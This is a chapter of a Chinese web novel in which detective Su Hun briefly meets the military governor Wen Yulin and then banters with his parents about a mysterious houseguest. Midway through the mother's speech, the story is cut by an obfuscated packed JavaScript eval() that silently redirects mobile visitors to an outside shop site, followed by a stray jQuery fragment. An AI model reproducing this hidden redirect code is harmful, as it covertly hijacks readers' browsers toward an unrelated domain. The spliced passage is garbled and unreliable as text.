车缓缓开到参政司道路,苏魂撩开车帘向外看去。
延世纪元四千六百零八年,灵洲内战爆发,陈氏、林氏工人起义将野曚王国彻底瓦解,结束了混乱的半封建统治,新政人员陈氏、林氏在岳吉市成立参政司,之后怀因、宸漓、平津、津海四座军事要地也相继设立,五大城池均由新政人员出任参政司都督。
中岳成立后,定都平津,但津海市仍被列强以租界名义占据,未曾归还。三年来,在北戎、西岚、东宁三国施压下,历任津海都督或懦弱无能,或与列强沆瀣一气,致使参政司形同虚设。
如今,温毓麟到此上任,以他性情,必将掀起腥风醎雨。
随着汽车的行驶,参政司渐渐入目。
参政司为三层白色仿古西岚式建筑,上有半球形屋顶,门前有八根石雕柱,东西两侧各有一座两层附楼。主楼坐北朝南,前有石砌拱桥、人工湖和假山。此处原为前朝野曚国王子别院,旧朝覆灭后被中岳军收没,改为参政机构。
车进参政司街道,找停车位退车的时候,与别人的车撞了。
苏魂在车内撞得那叫个七晕八素,不等他回过神来,就听到车外传来嚷嚷声,“你怎么开车的?你没见我开过来,你还往后退,你是不是故意给我撞的啊你!”
苏魂听闻这声音有些耳熟,便撩开了车帘,往外看去,果然是昨晚打过照面的张如良。
“先生对不起,我退车,实在没看到后面……”汽车夫一个劲儿的道歉,“您没伤着吧,是我大意,实在对不起。”
苏魂揉了揉额头,开门下车。
张如良看到苏魂时一愣,眉头蹙了起来,思索着什么:“哎……你,你好生眼熟。”
苏魂道:“在下苏魂,咱们在‘夜夜笙歌’见过。”
“想起来了,原来你就是缉察厅厅长之子苏魂!溯川说化骨水溶尸案的凶手是你抓到的。”张如良一改方才的怒容,忽略了汽车夫,直冲苏魂来,“苏侦探你好,久仰大名啊。我是溯川的朋友兼下属,张如良,你同溯川一样唤我子康便可。”
“久仰?”苏魂疑惑。
他的名气还没大到平津市的人都知道吧?
“我们要在这立足,自然是要多了解了解的,所以查了些重要人物的资料,别人我不敢打包票,但对你,溯川与我都是欣赏的,绝对没有恶意。”
苏魂从来行事坦荡,不畏强权,自是不怕被人查被人惦记,只是他还不曾知,自己已经到了“重要人物”的地步。
“无妨,我不过小小侦探,未足轻重。”
“大名鼎鼎的苏大侦探,谁人不知。即便初来乍到,不过两条街,听的也都是您的名号!”
苏魂礼貌性地笑了笑,“承蒙夸奖。”
“对了,你来参政司是不是寻溯川谈案子的?他十二点要去火车站接人,晚上还要参加一个十分重要的家宴。”张如良抬手看了看手腕,“现在十一点四十五,还有十五分钟,来得及,我带你们去找他。”
“既然他有事,那就不赶这十几分钟了,回头空了再来找他。”苏魂如是说。
“别介。溯川这么在意你,,能见十五分钟就十五分钟,少一秒他回头都得跟我急。”不等苏魂回话,张如良已经转身往参政司大门走,朝他招了招手:“走,我带你进去!”
“不急。”苏魂目光一转,“这车……”
张如良忙道:“我的责任,其实我看到车退出来,只是我刚学车没多久,心里一慌就忘了拉刹车杆,该说抱歉的是我。你这车要是有什么毛病,跟我说一声,我派人去修!”
“……”这张如良的态度,让苏魂择善而从,“好。”
苏魂跟着张如良抬步往大门走去,就见一个士兵背着枪从侧的传达室中跑了出来,又招另一个士兵,同他一起把大门打开。
一辆八缸七座豪华轿车缓缓地从大门内开了出来,车内坐着的正是温毓麟,士兵们立刻齐刷刷地行礼……
张如良见状,愣了一下,随即拔腿就追,“溯川!溯川!你怎么提前走了,别走啊!”
还不死心的喊了一句:“你心心念念的苏侦探来啦!”
苏魂站在原地,脚像被钉住了,对于那个追着车大喊的张如良,眉头拧成川:这位仁兄,你在瞎喊什么?他什么时候成温毓麟的人了?还心心念念?
轿车缓缓停下,车门打开,穿着军装的人下车,目光越过车顶,落在苏魂身上,而那张如良被他无视的彻底。
他快步绕过车走过来,步子很大但很稳,看着像很急的样子。
苏魂看着越走越近的人,早上还衬衫敞着领口,笑眼弯弯的,亲和地跟他吃早点。此刻军装扣到颈下,肩章冷硬,眉目间全是拒人千里的凛冽。
真真判若两人。
“你来了。”温毓麟在苏魂面前站定。
“我来是……”苏魂正要开口,余光却看到张如良疾步走过来,抱着胳膊站在两人旁边,一脸“你们说啥我也要听”的表情。
温毓麟顺着苏魂的目光看去,最后落在张如良人畜无害的脸上,“子康,你没事?”
“早上的事儿结束了,现在确实没事。”张如良笑眯眯地:“哎,你们聊,我在这儿不打扰你们。”
温毓麟看了张如良几息,对方毫无自觉。他只得带着苏魂侧过身,将后背留给张如良,这次侧头:“别理他。”
“你的伤……”苏魂刚张嘴,余光又看到张如良从侧边探出脑袋看他们俩。
温毓麟眉心蹙起,抬手推开张如良:“午餐时间,你可以走了。”
张如良被推的退了几步,却也不恼,咧嘴笑嘻嘻:“哎,干嘛赶我走?你这心心念念的小侦探,长得这么帅气,我就忍不住多看几眼嘛。”
苏魂抬手看了看时间,这几分钟,也要不回丁彩悦。
“算了……快十二点了。”苏魂退开步子,“温都督先去忙吧,等你有空了再说。”
温毓麟看向张如良的眼神变得冰冷。
张如良脖子一缩,一步步往后退,远离危险:“你不是十二点要去接人吗,我刚就跟苏侦探说了。”
温毓麟看着张如良退去,这才柔了表情,跟苏魂说:“下次来之前,打个电话,我好出去接你。”
“我又不是认不得参政司的路,不需要接。”
“我提前出来,跟你一起走回参政司。”温毓麟并不在意:“这样可以多待一会儿。”
苏魂耳根莫名一热,“知道了。”
“知道什么?”
“下次来,我会提前打电话。”苏魂声音变得有点闷,“忙你的,走了。”
苏魂转身,朝来路走,身后的人没有动作,但他感受到温毓麟的目光还在自己身上。
又走了几步,苏魂忍不住侧过脸去,余光看到了温毓麟。
那人就这么站在参政司大门前,面带微笑地看着他离开。
※※※
苏公馆位于北戎租界,原是津海前市长的旧宅。西式双坡屋顶,二层砖木结构,装潢奢华。红色矮墙自门房两侧展开,连接左右小望楼,围成方形院落,院落右侧有个不规则泳池,左侧是停车处,中间则是一个养着锦鲤的喷泉。
苏魂此刻正靠在二楼小观景台的栏杆上,手里捧着一把鱼食,时不时往楼下的喷泉内丢,他样子冷清,眼睛眯成一条缝,眸底有光流淌。
丢鱼食的动作一顿,眼帘微抬,目光投向铁栅大门处。
两侧门房内的府卫小跑着去开了门,迎进一辆轿车。车在别墅门口停下,一根金丝楠木龙头手杖先伸出了车厢门,紧接着,车上下来一位穿着墨蓝色制服的男人,身姿挺拔,把帽子丢给开车厢门的汽车夫,这才抬起头来,看向二楼观景台,戴着一枚翠绿扳指的手抬起,直指苏魂,“混小子,要喂鱼给老子下来好好喂。”
苏魂只有在家的时候,整个人是放松的,牵起嘴角,“只要鱼儿们吃的欢,管我怎么喂?”
拐杖抬起落下,“咚”的一声脆响,“臭小子,几日不见,又不知道怎么跟你老子说话了?给老子滚下来!”
苏魂收起鱼食,说:“我要真滚着下去,您不心疼?”
“我心疼我跟你姓!”
横竖都姓苏。
苏魂挑眉,接着翻上栏杆,顺着旁边几个矮的斜坡屋顶,跳到了楼下。
缉察厅厅长、苏魂的父亲苏衍,表字泽兴。
他一见这架势,心里担心又着急,顾不得自己威严形象大喊:“你给老子小心点,苏家就你这根独苗苗儿!”
说完就见苏魂完好地站到自己身旁,原本还担心此刻却举起了手杖,作势要打死苏魂:“你这小无赖,是不是要吓死你老子?”
苏魂不躲,脑袋还凑上去,“爹,您消消气。”
苏衍气得那叫一个吹胡子瞪眼,高举的手杖也迟迟落不下去,最后还是无奈地放下了手杖,瞪着苏魂说:“看在你爷爷的面子上,饶你这一回,免得他老人家说我不孝。”说完,哼了一声,跨上台阶进了门。
苏魂心道:感谢爷爷生了个这么孝顺的好儿子。
紧接着,一个叱怒女声传来:“苏知行跟你说了多少次,别整天飞檐走壁的。有门你不走,非要跳楼。跳楼也就罢了,能不能换身利落的衣裳跳?穿这长衫跳万一踩到衣摆,摔个马大哈,非死即伤,你若摔出个三长两短,叫你娘怎么跟苏家十八辈儿祖宗交代?!”
说话的人正是苏魂之母,季姓,闺名佩勤。苏魂的外祖父原是野曚王国的一名老武将,他母亲打小就跟着外祖父舞刀弄枪,从不拘小节,秉性颇为耿直。即便在津海居住十年
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735496|209041||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
之久,骨子里透的还是北方豪爽的巾帼之风,丝毫没有被津海江南女子的那种温婉、柔情给渗透。
苏魂走到客厅沙发坐下,“记住了。”
季佩勤走近,双手胸前交叠,想着今儿晚宴的事情,催促道:“赶紧上楼洗洗,一会儿客人来了,别给我丢面儿。”又看苏魂这一身打扮,道:“尤其是你苏知行,现在哪个留学回来的人还穿长衫,懂不懂时髦?”
“这可是当年爷爷最喜欢的打扮儿,这叫斯文……”话没说完就见季佩勤美眸怒瞪,苏魂改口道:“知道了,一会儿就换。”
季佩勤这才满意,又吩咐了几句,便转身进了厨房,苏魂问苏衍,“爹,我娘今儿又请了谁家姑娘?”
苏衍摇摇头,“你爹正愁你上报这事儿,哪有空知道你娘请了谁。”
“案子一结束,报上所构之事,必会不攻自破,您不必操心。”苏魂环伺一圈,面色狐疑:“家都拾掇成这样了,您真不知道对方是谁?”
“打从一个礼拜前你娘收到一封信开始,她就整天张罗着重新装饰,要接待重要的人,但绝口不提是谁。而且客房都重新整理过,连原本她最喜欢的窗帘都换了时下最时髦的,我估摸着来的人,还得在咱们家常住。”
“常住?”苏魂心道不好,“又是什么远房‘表妹表姐’?”
苏魂的母亲为了让苏魂早日成家,费尽心思的给他寻摸那些个单身的姑娘们,今儿是某某远房表妹,明儿又是某某远亲表姐,总之,被邀请来小住的“亲戚”未曾断过。
“很有可能。”苏衍点头,“为了给你找个伴侣,你娘是真操碎了心。”
苏魂沉下脸来道:“这事儿我要自己争取。”
“我是支持你自己争取的!”苏衍笑眯眯的,“只要你答应来缉察厅做探长,我就不止口头支持你。”
苏魂侧目道:“跟您亲儿子玩套路?”
“套路是什么?你爹活了四十几载,还没学会。”苏衍一本正经地笑着:“走,换衣服。顺便看看被你娘如此重视的客人的房间被装饰成什么样了。记得之前你的一位远房表姐,喜欢绿色,你娘就把客房整成清一色绿,不知道的还以为进了森林。最可怕的是这姑娘还喜欢穿一身翠绿,远看跟条大青虫似的,那品味真的是一言难尽。”
苏魂亦步亦趋地跟了上去,那被父亲唤做“大青虫”的姐姐,也不满家里的安排,故意穿成那样。两人说开之后,还一起演了双方父母,配合的非常默契,现在回想起来还十分有趣。
“往常来的那些个表姐表妹,哪个不受娘重视。”
“不一样。往常你娘约的那些个摩登小姐、闺阁名媛,都比不得今儿的这个。”说着他带着苏魂走到了客房门口,“这两间房,除了平津几个娘舅住过,其他给你介绍的姑娘谁住过?”
楼上的客房,接待的都是苏、季两家的血亲,其他外姓人,除了文钊璟,都只为他们安排一楼客房,亲疏有别,体现在这里了。
只是这次的客到底是什么人物,竟如此不同待遇。
苏魂推开房门,入目的是与他房间一模一样的红木洋花西式大床,连床边的窗帘都跟他房间的一样,酒柜备了酒,书柜里的婉约诗词书籍都换成了军事相关的……
“这哪是给姑娘家住的?”苏衍纳闷。
苏魂先是错愕,旋即想到了什么,也许……是给他准备的。
“依你娘的性子,这次的姑娘八成是个男人婆,只有男人婆才跟她秉性相合。”苏衍不由同情地看一眼苏魂,“家里已有母老虎,再来一个,你可吃不消啊。”
苏魂忽而一笑,道:“男人……嗯,合眼了也无不可,我没意见。”
“男人跟男人婆可是两码事!”苏衍一瞪眼,又看苏魂不像开玩笑,便道:“你怎么不说后院的狗合眼?”
苏魂说:“若是与‘狗’在一起有爱情,也无不可。上帝说过爱情不分年龄,不分性别,不分种族,只……”
苏衍眸子一眯,心里咯噔一下,连忙打断他:“混小子,别以为读过几年洋墨水,就拿上帝来糊弄我,老子不信上帝只信孟子,孟子曰:不孝有三,无后为大。你若断了我苏家香火,老子弄死你。”
苏魂敛了神色,眸色幽幽的深了下去,语气十分郑重:“二老若再乱点鸳鸯谱,那我就领个狗媳妇回来。”
苏衍恰好走到自己房门前,抬手开门,吧嗒一声,听到苏魂的话,横眉冷竖:“行,有本事你就领个狗媳妇回来,我们不拦着,怕只怕狗都不愿意跟你过!”
“……”
这是亲爹。
苏衍催道,“赶紧去换衣服,别等你娘来揍你。”然后进了门,留给苏魂的就只是“啪”的关门声。
苏魂应了一声“好”,随后再看一眼客房,便回了自己的房间。